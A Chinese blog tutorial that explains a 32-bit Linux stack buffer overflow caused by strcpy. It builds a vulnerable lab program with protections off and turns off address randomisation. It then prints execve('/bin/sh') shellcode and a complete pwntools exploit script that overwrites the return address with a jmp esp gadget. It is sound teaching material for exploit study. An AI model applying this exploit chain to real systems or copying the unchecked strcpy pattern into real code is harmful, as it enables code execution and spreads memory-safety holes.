Chinaunix首页 | 论坛 | 博客
  • 博客访问: 522253
  • 博文数量: 184
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 1172
  • 用 户 组: 普通用户
  • 注册时间: 2016-06-21 13:40
个人简介

技术改变命运

文章分类

全部博文(184)

文章存档

2020年(16)

2017年(12)

2016年(156)

我的朋友

分类: 网络与安全

2020-06-09 23:39:21

引言

在刚刚开始学校C语言的时候,很多人都用过strcpy这个函数。简单说是一个内存复制的函数。这个函数确实非常方便,但是这个函数是非常不安全,由与这个函数而产生的缓冲区溢出漏洞在很多文章中都有所介绍。我们应该摒弃strcpy的使用,而是用strncpy进行代替。

  1. 原型声明:char *strcpy(char* dest, const char *src);
  2. 头文件:#include #include
  3. 功能:把从src地址开始且含有NULL结束符的字符串复制到以dest开始的地址空间
  4. 说明:srcdest所指内存区域不可以重叠且dest必须有足够的空间来容纳src的字符串。

既然这个函数能造成缓冲区溢出漏洞,那么这个漏洞究竟是什么样子的那,怎么利用这个漏洞那。很多文章对这个却搞的讳莫如深,让人一头雾水。要弄懂这个,我们先了解下Linux下32为程序函数调用约定。

函数调用约定(32位)

以下是一个简单的C程序stackOf.c,后续的内容也是围绕这这个程序展开的。

  1. #include
  2. #include
  3. #include
  4. void vul(char * msg){
  5. char buffer[64] ;
  6. strcpy(buffer,msg);
  7. return ;
  8. }
  9. int main(){
  10. puts("please give me your shellcode:");
  11. char shellcode[256];
  12. memset(shellcode,0,256);
  13. read(0,shellcode,256);
  14. vul(shellcode);
  15. return 0;
  16. }

这个程序的功能很简单,就是将输入的内容复制到buffer中。不过这里有一个问题,buffer只有64个字节,而输入却可以是256个字节,这会引发什么问题那?下面部分再说。 这里我们来看在执行 vul(shellcode);的时候,对应的汇编代码是什么样子的那,以及进入vul函数和退出vul函数的时候,堆栈的变化情况。 函数调用主要有两个点需要关注: (1)参数的出入方式 (2)堆栈的平衡 在这里插入图片描述这个例子中只有一个参数,可以看出先进行push eax操作,在执行call sym.vul。也就是先将参数入栈,再进行调用操作。

CALL指令(“调用”指令)的功能,就是以下两点:

  1. 将下一条指令的所在地址(即当时程序计数器PC的内容)入栈,
  2. 并将子程序的起始地址送入PC(于是CPU的下一条指令就会转去执行子程序)

流程如下图所示: 在这里插入图片描述在看下vul的汇编代码:在这里插入图片描述首先将老的ebp入栈,为何需要这一步,为了方便栈回溯。至于栈回溯的问题,后续会单独来说。 重点来说一下leave和ret指令:

CPU执行ret指令时,进行下面的两步操作: (IP) = ((ss)*16 +(sp))(返回地址) (esp) = (esp)+2(32为是+4)

leave指令的作用: 在32位汇编下相当于: mov esp,ebp;//将ebp指向(ebp内部应当保存一个地址,所谓指向即这个地址对应的空间)的值赋给esp pop ebp

程序编译运行

编译stackOf.c

  1. gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme stackOf.c

运行结果如下: 在这里插入图片描述 最好加一条命令关闭系统的的地址随机化

  1. sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

如果是root用户,可以使用:

  1. echo 0 > /proc/sys/kernel/randomize_va_space

查资料结论是sudo命令不支持重定向。

攻击的思路

这里来说说一下buffer只有64个字节,而输入却可以是256个字节,这会引发的问题。当用户输入过长时,会向高地址覆盖。 在这里插入图片描述如果将返回地址覆盖为: 在这里插入图片描述 就是将返回地址覆盖为jum esp的地址,这样当函数返回的时候,eip指向的就是jmp esp的地址 在这里插入图片描述 我们精心设计的buffer= 填充字符 + jmp_esp地址 +shellcode

填充数据

那么数据是怎么计算出来的那。 用r2进行调试(gdb也可以),在strcpy出下断点,运行: 在这里插入图片描述通过分析vul的汇编代码,可知在strcpy调用前将ebx(0xffa97850)入栈,而这就是buffer的起始地址,ebp的地址是0xffa97898,两者相见是0x48 = 64+8 = 72, 别忘了还有ebp在进入函数的时候也入栈了,所以还需要加上4个字节,也就是76个字节。

jmp esp地址

通过ldd命令可查看libc.so的加载地址 在这里插入图片描述 UTF-8这个需要加上,能够避免中文乱码。

  1. #-*- coding: UTF-8 -*-
  2. from pwn import *
  3. p = process('./pwnme') #运行程序
  4. p.recvuntil("shellcode:") #当接受到字符串'shellcode:'
  5. #找jmp_esp_addr_offset
  6. libc = ELF('/lib32/libc.so.6')
  7. jmp_esp = asm('jmp esp')
  8. jmp_esp_addr_offset = libc.search(jmp_esp).next()
  9. if jmp_esp_addr_offset is None:
  10. print 'Cannot find jmp_esp in libc'
  11. else:
  12. print hex(jmp_esp_addr_offset)
  13. libc_base = 0xf7de0000 #你找到的libc加载地址
  14. jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
  15. print hex(jmp_esp_addr)

jmp esp在程序里的地址 : jmp_esp_addr=jmp_esp_addr_offset+libc_base,结合图解一下 在这里插入图片描述

编写shellcode

具体怎么编写可参考:https://blog.csdn.net/helloworlddm/article/details/106594677 shellcode如下所示:

  1. '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

完整攻击代码

  1. #-*- coding: UTF-8 -*-
  2. from pwn import *
  3. p = process('./pwnme') #运行程序
  4. p.recvuntil("shellcode:") #当接受到字符串'shellcode:'
  5. #找jmp_esp_addr_offset
  6. libc = ELF('/lib32/libc.so.6')
  7. jmp_esp = asm('jmp esp')
  8. jmp_esp_addr_offset = libc.search(jmp_esp).next()
  9. if jmp_esp_addr_offset is None:
  10. print 'Cannot find jmp_esp in libc'
  11. else:
  12. print hex(jmp_esp_addr_offset)
  13. libc_base = 0xf7de0000 #你找到的libc加载地址
  14. jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
  15. print hex(jmp_esp_addr)
  16. #构造布局
  17. buf = 'A'*76
  18. buf += p32(jmp_esp_addr)
  19. buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
  20. with open('poc','wb') as f:
  21. f.write(buf)
  22. p.sendline(buf) #发送构造后的buf
  23. p.interactive()

攻击效果

从图中可以看出我们居然获得了shell,那删除文件、浏览文件、复制文件等等很多操作都可以随心所欲。 在这里插入图片描述

公众号

更多漏洞信息可关注公众号: 在这里插入图片描述

阅读(2378) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~